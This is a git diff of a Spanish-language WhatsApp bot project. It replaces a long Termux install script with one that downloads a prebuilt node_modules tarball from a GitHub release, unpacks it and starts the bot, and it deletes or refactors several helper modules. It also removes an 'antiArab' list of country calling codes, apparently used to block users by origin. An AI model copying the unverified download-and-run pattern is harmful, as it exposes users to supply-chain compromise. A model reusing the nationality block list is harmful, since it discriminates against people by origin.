-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-░██████╗░██╗████████╗
-██╔════╝░██║╚══██╔══╝
-██║░░██╗░██║░░░██║░░░
-██║░░╚██╗██║░░░██║░░░
-╚██████╔╝██║░░░██║░░░
-░╚═════╝░╚═╝░░░╚═╝░░░\n\e[0m"
-
-if command -v git >/dev/null 2>&1; then
-echo -e "\033[01;33mGit ya estaba instalado anteriormente.\nGit was already installed previously.\033[0m"
-else
-if pkg install git -y 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(pkg install git -y 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar Git. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install -y yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nyarn install\nnpm install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mGit se ha instalado correctamente. \n\033[0m"
-fi
-fi
-
-echo -e "\e[35m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-███╗░░██╗░█████╗░██████╗░███████╗░░░░░░░░██╗░██████╗
-████╗░██║██╔══██╗██╔══██╗██╔════╝░░░░░░░░██║██╔════╝
-██╔██╗██║██║░░██║██║░░██║█████╗░░░░░░░░░░██║╚█████╗░
-██║╚████║██║░░██║██║░░██║██╔══╝░░░░░██╗░░██║░╚═══██╗
-██║░╚███║╚█████╔╝██████╔╝███████╗██╗╚█████╔╝██████╔╝
-╚═╝░░╚══╝░╚════╝░╚═════╝░╚══════╝╚═╝░╚════╝░╚═════╝░\n\e[0m"
-
-if command -v node >/dev/null 2>&1; then
-echo -e "\033[01;33mNodejs ya estaba instalado anteriormente.\nNodejs was already installed previously.\033[0m"
-else
-if pkg install nodejs -y 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(pkg install nodejs -y 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar Node.js. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install -y yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nyarn install\nnpm install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mNode.js se ha instalado correctamente.\nNode.js has been installed successfully.\n\033[0m"
-fi
-fi
-
-echo -e "\e[36m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-███████╗███████╗███╗░░░███╗██████╗░███████╗░██████╗░
-██╔════╝██╔════╝████╗░████║██╔══██╗██╔════╝██╔════╝░
-█████╗░░█████╗░░██╔████╔██║██████╔╝█████╗░░██║░░██╗░
-██╔══╝░░██╔══╝░░██║╚██╔╝██║██╔═══╝░██╔══╝░░██║░░╚██╗
-██║░░░░░██║░░░░░██║░╚═╝░██║██║░░░░░███████╗╚██████╔╝
-╚═╝░░░░░╚═╝░░░░░╚═╝░░░░░╚═╝╚═╝░░░░░╚══════╝░╚═════╝░\n\e[0m"
-
-if command -v ffmpeg >/dev/null 2>&1; then
-echo -e "\033[01;33mFfmpeg ya estaba instalado anteriormente.\nFfmpeg was already installed previously.\033[0m"
-else
-if pkg install ffmpeg -y 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(pkg install ffmpeg -y 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar FFmpeg. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install -y yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nyarn install\nnpm install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mFFmpeg se ha instalado correctamente.\nFFmpeg has been installed successfully.\n\033[0m"
-fi
-fi
-
-echo -e "\e[35m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-██╗███╗░░░███╗░█████╗░░██████╗░███████╗███╗░░░███╗░█████╗░░██████╗░██╗░█████╗░██╗░░██╗
-██║████╗░████║██╔══██╗██╔════╝░██╔════╝████╗░████║██╔══██╗██╔════╝░██║██╔══██╗██║░██╔╝
-██║██╔████╔██║███████║██║░░██╗░█████╗░░██╔████╔██║███████║██║░░██╗░██║██║░░╚═╝█████═╝░
-██║██║╚██╔╝██║██╔══██║██║░░╚██╗██╔══╝░░██║╚██╔╝██║██╔══██║██║░░╚██╗██║██║░░██╗██╔═██╗░
-██║██║░╚═╝░██║██║░░██║╚██████╔╝███████╗██║░╚═╝░██║██║░░██║╚██████╔╝██║╚█████╔╝██║░╚██╗
-╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚══════╝╚═╝░░░░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═╝░╚════╝░╚═╝░░╚═╝\n\e[0m"
-
-if command -v convert >/dev/null 2>&1; then
-echo -e "\033[01;33mImagemagick ya estaba instalado anteriormente.\nImagemagick was already installed previously.\033[0m"
-else
-if pkg install imagemagick -y 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(pkg install imagemagick -y 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar ImageMagick. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install -y yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nyarn install\nnpm install\nnpm start\033[0m"
-exit 1
+if [ -d "node_modules" ]; then
+ echo "La carpeta 'node_modules' ya existe. Omitiendo descarga e instalación."
else
-echo -e "\033[01;32m\033[01mImageMagick se ha instalado correctamente.\nImageMagick has been installed successfully.\n\033[0m"
-fi
-fi
-
-echo -e "\e[36m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-██╗░░░██╗░█████╗░██████╗░███╗░░██╗
-╚██╗░██╔╝██╔══██╗██╔══██╗████╗░██║
-░╚████╔╝░███████║██████╔╝██╔██╗██║
-░░╚██╔╝░░██╔══██║██╔══██╗██║╚████║
-░░░██║░░░██║░░██║██║░░██║██║░╚███║
-░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝\n\e[0m"
-
-if command -v yarn >/dev/null 2>&1; then
-echo -e "\033[01;33mYarn ya estaba instalado anteriormente.\nYarn was already installed previously.\033[0m"
-else
-if npm install -g yarn 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(npm install -g yarn 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar Yarn. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install -y yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nyarn install\nnpm install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mYarn se ha instalado correctamente.\nYarn has been installed successfully.\n\033[0m"
-fi
-fi
-
-echo -e "\e[36m
-▀▀█▀▀ ▒█▀▀▀█ ▒█▀▀▄ ▒█▀▀▀█ ▒█▀▀█ ▒█▀▀▀█ ▒█▀▀█ ▒█▀▀█ ▒█▀▀▀ ▒█▀▀█ ▀▀█▀▀ ▒█▀▀▀█
-░▒█░░ ▒█░░▒█ ▒█░▒█ ▒█░░▒█ ▒█░░░ ▒█░░▒█ ▒█▄▄▀ ▒█▄▄▀ ▒█▀▀▀ ▒█░░░ ░▒█░░ ▒█░░▒█
-░▒█░░ ▒█▄▄▄█ ▒█▄▄▀ ▒█▄▄▄█ ▒█▄▄█ ▒█▄▄▄█ ▒█░▒█ ▒█░▒█ ▒█▄▄▄ ▒█▄▄█ ░▒█░░ ▒█▄▄▄█\n\e[0m"
-echo -e "\033[01;32m\033[01m\nTodas las dependencias se han instalado correctamente.\n\033[0m"
-
-echo -e "\e[35m
-██╗░░██╗░░██╗░░ ██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░
-╚██╗░╚██╗░╚██╗░ ██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░
-░╚██╗░╚██╗░╚██╗ ██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░
-░██╔╝░██╔╝░██╔╝ ██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░
-██╔╝░██╔╝░██╔╝░ ██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗
-╚═╝░░╚═╝░░╚═╝░░ ╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝
-
-╔══╗╔╗╔╗╔═╗────╔╗─╔═╗╔╗─╔══╗╔══╗╔═╗╔══╗────╔═╦═╗╔══╗
-╚╗╔╝║╚╝║║╦╝╔══╗║║─║║║║║─╚║║╝║╔╗║║║║╚╗╔╝╔══╗║║║║║╚╗╗║
-─║║─║╔╗║║╩╗╚══╝║╚╗║║║║╚╗╔║║╗║╔╗║║║║─║║─╚══╝║║║║║╔╩╝║
-─╚╝─╚╝╚╝╚═╝────╚═╝╚═╝╚═╝╚══╝╚══╝╚═╝─╚╝─────╚╩═╩╝╚══╝
-────────────────────────────────────────────────────\n\e[0m"
-
-echo -e "\033[1;35m"
-git clone https://github.com/elrebelde21/The-LoliBot-MD.git
-echo -e "\033[01;32m\033[01mLa clonación se ha descargado e instalado correctamente..\n\033[0m"
-
-echo -e "\033[01;32m\033[01mCambiando al directorio del repositorio!!\n\033[0m"
-cd The-LoliBot-MD
+ echo "Descargando node_modules.tar.gz..."
+ curl -L -o node_modules.tar.gz https://github.com/elrebelde21/baileys/releases/download/V1.0.0/node_modules.tar.gz
-echo -e "\e[36m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░ ███╗░░██╗██████╗░███╗░░░███╗
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░ ████╗░██║██╔══██╗████╗░████║
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░ ██╔██╗██║██████╔╝██╔████╔██║
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░ ██║╚████║██╔═══╝░██║╚██╔╝██║
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗ ██║░╚███║██║░░░░░██║░╚═╝░██║
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝ ╚═╝░░╚══╝╚═╝░░░░░╚═╝░░░░░╚═╝\n\e[0m"
+ echo "Extrayendo node_modules..."
+ tar -xzf node_modules.tar.gz
-if command npm install >/dev/null 2>&1; then
-echo -e "\033[01;33m Se actualizará NPM automáticamente. Espere un momento por favor.\033[0m"
-else
-echo -e "\033[0;34mNPM no se encontró en su sistema. Se instalará NPM automáticamente.\nNPM was not found on your system. NPM will be installed automatically.\n\033[0m"
-if npm install 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(npm install 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar NPM. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install yarn -y\npkg install npm -y\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nnpm install\nyarn install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mNPM se ha instalado correctamente..\n\033[0m"
-fi
-fi
+ # Eliminar el archivo comprimido después de extraerlo
+ rm node_modules.tar.gz
-echo -e "\e[35m
-██╗███╗░░██╗░██████╗████████╗░█████╗░██╗░░░░░██╗░░░░░ ██╗░░░██╗░█████╗░██████╗░███╗░░██╗
-██║████╗░██║██╔════╝╚══██╔══╝██╔══██╗██║░░░░░██║░░░░░ ╚██╗░██╔╝██╔══██╗██╔══██╗████╗░██║
-██║██╔██╗██║╚█████╗░░░░██║░░░███████║██║░░░░░██║░░░░░ ░╚████╔╝░███████║██████╔╝██╔██╗██║
-██║██║╚████║░╚═══██╗░░░██║░░░██╔══██║██║░░░░░██║░░░░░ ░░╚██╔╝░░██╔══██║██╔══██╗██║╚████║
-██║██║░╚███║██████╔╝░░░██║░░░██║░░██║███████╗███████╗ ░░░██║░░░██║░░██║██║░░██║██║░╚███║
-╚═╝╚═╝░░╚══╝╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚══════╝╚══════╝ ░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═╝░░╚══╝\n\e[0m"
-
-if command yarn install >/dev/null 2>&1; then
-echo -e "\033[01;33mSe actualizará yarn automáticamente. Espere un momento por favor...\033[0m"
-else
-if yarn install 2>&1 >/dev/null | grep -E -i -q '(command not found|unable to locate package|E: Could not get lock|debconf: delaying package configuration|Package not found|Failed to fetch|404 Not Found|Hash sum mismatch|503 Service Unavailable|504 Gateway Timeout|408 Request Timeout|Connection timed out|Temporary failure resolving)'; then
-error=$(yarn install 2>&1 >/dev/null)
-echo -e "\033[0;31mError: $error\033[0m"
-echo -e "\033[0;34mNo se pudo instalar Yarn. Verifique su conexión a Internet e inténtelo de nuevo. Si el error continúa, instale de forma manual!!\nIf the error continues, install manually!!\033[0m"
-echo -e "\033[01;33mpkg install git -y\npkg install nodejs -y\npkg install ffmpeg -y\npkg install imagemagick -y\npkg install yarn\ngit clone https://github.com/elrebelde21/The-LoliBot-MD\ncd The-LoliBot-MD\nnpm install\nyarn install\nnpm start\033[0m"
-exit 1
-else
-echo -e "\033[01;32m\033[01mYarn se ha instalado correctamente.....\n\033[0m"
fi
-fi
-
-: <<'COMMENT'
-v="${b}\033[1;32m"
-v1="${b}\033[32m"
-b="\033[0m"
-
-menu() {
- #The-LoliBot-MD
- echo -e "${v1} MENÚ DE CONFIGURACIÓN"
- printf "\n"
- printf "${v1}[${b}01${v1}]${v} Visistar Grupo de Actualizaciones\n"
- printf "\n"
- printf "${v1}[${b}02${v1}]${v} Elegir idioma español\n"
- printf "\n"
- printf "${v1}[${b}03${v1}]${v} Elegir idioma inglés\n"
- printf "\n"
- printf "${v1}[${b}04${v1}]${v} Continuar\n"
- printf "\n"
-}
-
-menu_ayuda() {
- #printf "${v1}[${b}++${v1}]${v} GataBot-MD${b}: "
- read opcion
- case $opcion in
- 01|1)
- am start -a android.intent.action.VIEW https://chat.whatsapp.com/JESaesjOEcB6wnGX0QYT9o &>> /dev/null
- echo -e "${b}[${v1}++${b}]${v} Accediendo al Grupo Oficial\n"
-
- ;;
- 02|2)
- echo -e "${b}[${v1}++${b}]${v} Seleccionado idioma español\n"
-
- ;;
- 03|3)
- echo -e "${b}[${v1}++${b}]${v} Seleccionado idioma inglés\n"
-
- ;;
- 04|4)
- iniciar
- echo -e "${b}[${v1}++${b}]${v} Continuando...\n"
-
- ;;
- *)
- echo -e "${v1}Comando: '"${r1}${opcion}${v1}"' invalido."
- echo ""
- inicio
- ;;
- esac
-}
-
-menu
-menu_ayuda
-COMMENT
-
-clear
-echo -e "\e[36m
-░█▀▀█ ░█▀▀█ ─█▀▀█ ░█▀▀█ ▀█▀ ─█▀▀█ ░█▀▀▀█ ░█▀▀█ ░█▀▀▀█ ░█▀▀█ ░█▀▀▀█ ░█─░█
-░█─▄▄ ░█▄▄▀ ░█▄▄█ ░█─── ░█─ ░█▄▄█ ─▀▀▀▄▄ ░█▄▄█ ░█──░█ ░█▄▄▀ ─▀▀▀▄▄ ░█─░█
-░█▄▄█ ░█─░█ ░█─░█ ░█▄▄█ ▄█▄ ░█─░█ ░█▄▄▄█ ░█─── ░█▄▄▄█ ░█─░█ ░█▄▄▄█ ─▀▄▄▀
-
-░█▀▀█ ░█▀▀█ ░█▀▀▀ ░█▀▀▀ ░█▀▀▀ ░█▀▀█ ░█▀▀▀ ░█▄─░█ ░█▀▀█ ▀█▀ ─█▀▀█
-░█▄▄█ ░█▄▄▀ ░█▀▀▀ ░█▀▀▀ ░█▀▀▀ ░█▄▄▀ ░█▀▀▀ ░█░█░█ ░█─── ░█─ ░█▄▄█
-░█─── ░█─░█ ░█▄▄▄ ░█─── ░█▄▄▄ ░█─░█ ░█▄▄▄ ░█──▀█ ░█▄▄█ ▄█▄ ░█─░█\n\e[0m"
-echo -e "\e[31m
-_░▒███████
-░██▓▒░░▒▓██
-██▓▒░__░▒▓██___██████
-██▓▒░____░▓███▓__░▒▓██
-██▓▒░___░▓██▓_____░▒▓██
-██▓▒░_______________░▒▓██
-_██▓▒░______________░▒▓██
-__██▓▒░____________░▒▓██
-___██▓▒░__________░▒▓██
-____██▓▒░________░▒▓██
-_____██▓▒░_____░▒▓██
-______██▓▒░__░▒▓██
-_______█▓▒░░▒▓██
-_________░▒▓██
-_______░▒▓██
-_____░▒▓██\n\e[0m"
-
-sleep 15 && pkill mpv > /dev/null 2>&1 && sleep 2 && rm -f /data/data/com.termux/files/home/"$random_mp3" &
-echo -e "\033[01;32m\033[01mIniciando LoliBot!!\n\033[0m"
+echo "Iniciando el bot..."
npm start
diff --git a/jadibts/file b/jadibts/file
deleted file mode 100644
index b5534ac7b..000000000
--- a/jadibts/file
+++ /dev/null
@@ -1 +0,0 @@
-//sub bot
diff --git a/koyeb.js b/koyeb.js
deleted file mode 100644
index 0c3f35162..000000000
--- a/koyeb.js
+++ /dev/null
@@ -1,16 +0,0 @@
-FROM fedora:37
-
-RUN sudo dnf -y update &&\
- sudo dnf install -y https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm &&\
- sudo dnf install -y git ffmpeg ImageMagick nodejs yarnpkg libwebp &&\
- sudo dnf clean all -y
-
-RUN git clone https://github.com/elrebelde21/The-LoliBot-MD
-
-WORKDIR /root/The-LoliBot-MD
-
-COPY ./root/The-LoliBot-MD
-
-RUN yarn install
-
-CMD ["node", "index.js"]
diff --git a/lib/antiArab.json b/lib/antiArab.json
deleted file mode 100644
index ee000c046..000000000
--- a/lib/antiArab.json
+++ /dev/null
@@ -1,2 +0,0 @@
-["212", "265", "92", "91", "90", "210", "60", "61", "62", "40", "48", "49", "93", "94", "98", "258"]
-
diff --git a/lib/canvas.js b/lib/canvas.js
deleted file mode 100644
index d0c380bda..000000000
--- a/lib/canvas.js
+++ /dev/null
@@ -1,65 +0,0 @@
-import {spawn} from 'child_process';
-import {join} from 'path';
-
-const __dirname = global.__dirname(import.meta.url);
-/**
- * Levelup image
- * @param {String} teks
- * @param {Number} level
- * @return {Promise}
- */
-export function levelup(teks, level) {
- return new Promise(async (resolve, reject) => {
- if (!(global.support.convert || global.support.magick || global.support.gm)) return reject('Not Support!');
- const font = join(__dirname, '../src/font');
- const fontLevel = join(font, './level_c.otf');
- const fontTexts = join(font, './texts.otf');
- const xtsx = join(__dirname, '../src/lvlup_template.jpg');
- let anotations = '+1385+260'; // gapake else if kadang error
- if (level > 2) anotations = '+1370+260';
- if (level > 10) anotations = '+1330+260';
- if (level > 50) anotations = '+1310+260';
- if (level > 100) anotations = '+1260+260';
-
- const [_spawnprocess, ..._spawnargs] = [...(global.support.gm ? ['gm'] : global.support.magick ? ['magick'] : []),
- 'convert',
- xtsx,
- '-font',
- fontTexts,
- '-fill',
- '#0F3E6A',
- '-size',
- '1024x784',
- '-pointsize',
- '68',
- '-interline-spacing',
- '-7.5',
- '-annotate',
- '+153+200',
- teks,
- // original together
- '-font',
- fontLevel,
- '-fill',
- '#0A2A48',
- '-size',
- '1024x784',
- '-pointsize',
- '140',
- '-interline-spacing',
- '-1.2',
- '-annotate',
- anotations,
- level,
- '-append',
- 'jpg:-',
- ];
- const bufs = [];
- spawn(_spawnprocess, _spawnargs)
- .on('error', reject)
- .on('close', () => {
- return resolve(Buffer.concat(bufs));
- })
- .stdout.on('data', (chunk) => bufs.push(chunk));
- });
-}
diff --git a/lib/cloudDBAdapter.js b/lib/cloudDBAdapter.js
deleted file mode 100644
index feff57dd3..000000000
--- a/lib/cloudDBAdapter.js
+++ /dev/null
@@ -1,58 +0,0 @@
-import got from 'got';
-
-const stringify = (obj) => JSON.stringify(obj, null, 2);
-const parse = (str) => JSON.parse(str, (_, v) => {
- if (
- v !== null &&
- typeof v === 'object' &&
- 'type' in v &&
- v.type === 'Buffer' &&
- 'data' in v &&
- Array.isArray(v.data)) {
- return Buffer.from(v.data);
- }
- return v;
-});
-class CloudDBAdapter {
- constructor(url, {
- serialize = stringify,
- deserialize = parse,
- fetchOptions = {},
- } = {}) {
- this.url = url;
- this.serialize = serialize;
- this.deserialize = deserialize;
- this.fetchOptions = fetchOptions;
- }
-
- async read() {
- try {
- const res = await got(this.url, {
- method: 'GET',
- headers: {
- 'Accept': 'application/json;q=0.9,text/plain',
- },
- ...this.fetchOptions,
- });
- if (res.statusCode !== 200) throw res.statusMessage;
- return this.deserialize(res.body);
- } catch (e) {
- return null;
- }
- }
-
- async write(obj) {
- const res = await got(this.url, {
- method: 'POST',
- headers: {
- 'Content-Type': 'application/json',
- },
- ...this.fetchOptions,
- body: this.serialize(obj),
- });
- if (res.statusCode !== 200) throw res.statusMessage;
- return res.body;
- }
-}
-
-export default CloudDBAdapter;
diff --git a/lib/converter.js b/lib/converter.js
index a5f8cb15a..7f9c75c5f 100644
--- a/lib/converter.js
+++ b/lib/converter.js
@@ -1,47 +1,45 @@
-import {promises} from 'fs';
-import {join} from 'path';
-import {spawn} from 'child_process';
+import { promises as fs } from 'fs';
+import { join, dirname } from 'path';
+import { spawn } from 'child_process';
+import { fileURLToPath } from 'url';
+
+const __dirname = dirname(fileURLToPath(import.meta.url));
function ffmpeg(buffer, args = [], ext = '', ext2 = '') {
return new Promise(async (resolve, reject) => {
try {
- const tmp = join(global.__dirname(import.meta.url), '../tmp', + new Date + '.' + ext);
- const out = tmp + '.' + ext2;
- await promises.writeFile(tmp, buffer);
- spawn('ffmpeg', [
- '-y',
- '-i', tmp,
- ...args,
- out,
- ])
- .on('error', reject)
- .on('close', async (code) => {
- try {
- await promises.unlink(tmp);
- if (code !== 0) return reject(code);
- resolve({
- data: await promises.readFile(out),
- filename: out,
- delete() {
- return promises.unlink(out);
- },
- });
- } catch (e) {
- reject(e);
- }
- });
+ const tmpFile = join(__dirname, '../tmp', Date.now() + '.' + ext);
+ const outFile = tmpFile + '.' + ext2;
+
+ await fs.writeFile(tmpFile, buffer);
+
+ spawn('ffmpeg', ['-y', '-i', tmpFile, ...args, outFile])
+ .on('error', reject)
+ .on('close', async (code) => {
+ try {
+ await fs.unlink(tmpFile);
+ if (code !== 0) return reject(new Error(`ffmpeg exited with code ${code}`));
+
+ const data = await fs.readFile(outFile);
+ await fs.unlink(outFile);
+
+ resolve({
+ data,
+ filename: outFile,
+ delete() {
+ return fs.unlink(outFile);
+ }
+ });
+ } catch (e) {
+ reject(e);
+ }
+ });
} catch (e) {
reject(e);
}
});
}
-/**
- * Convert Audio to Playable WhatsApp Audio
- * @param {Buffer} buffer Audio Buffer
- * @param {String} ext File Extension
- * @return {Promise<{data: Buffer, filename: String, delete: Function}>}
- */
function toPTT(buffer, ext) {
return ffmpeg(buffer, [
'-vn',
@@ -51,12 +49,6 @@ function toPTT(buffer, ext) {
], ext, 'ogg');
}
-/**
- * Convert Audio to Playable WhatsApp PTT
- * @param {Buffer} buffer Audio Buffer
- * @param {String} ext File Extension
- * @return {Promise<{data: Buffer, filename: String, delete: Function}>}
- */
function toAudio(buffer, ext) {
return ffmpeg(buffer, [
'-vn',
@@ -67,12 +59,6 @@ function toAudio(buffer, ext) {
], ext, 'opus');
}
-/**
- * Convert Audio to Playable WhatsApp Video
- * @param {Buffer} buffer Video Buffer
- * @param {String} ext File Extension
- * @return {Promise<{data: Buffer, filename: String, delete: Function}>}
- */
function toVideo(buffer, ext) {
return ffmpeg(buffer, [
'-c:v', 'libx264',
@@ -85,8 +71,8 @@ function toVideo(buffer, ext) {
}
export {
- toAudio,
+ ffmpeg,
toPTT,
+ toAudio,
toVideo,
- ffmpeg,
};
diff --git a/lib/database.js b/lib/database.js
deleted file mode 100644
index ba020924b..000000000
--- a/lib/database.js
+++ /dev/null
@@ -1,70 +0,0 @@
-import {resolve, dirname as _dirname} from 'path';
-import _fs, {existsSync, readFileSync} from 'fs';
-const {promises: fs} = _fs;
-
-class Database {
- /**
- * Create new Database
- * @param {String} filepath Path to specified json database
- * @param {...any} args JSON.stringify arguments
- */
- constructor(filepath, ...args) {
- this.file = resolve(filepath);
- this.logger = console;
-
- this._load();
-
- this._jsonargs = args;
- this._state = false;
- this._queue = [];
- this._interval = setInterval(async () => {
- if (!this._state && this._queue && this._queue[0]) {
- this._state = true;
- await this[this._queue.shift()]().catch(this.logger.error);
- this._state = false;
- }
- }, 1000);
- }
-
- get data() {
- return this._data;
- }
-
- set data(value) {
- this._data = value;
- this.save();
- }
-
- /**
- * Queue Load
- */
- load() {
- this._queue.push('_load');
- }
-
- /**
- * Queue Save
- */
- save() {
- this._queue.push('_save');
- }
-
- _load() {
- try {
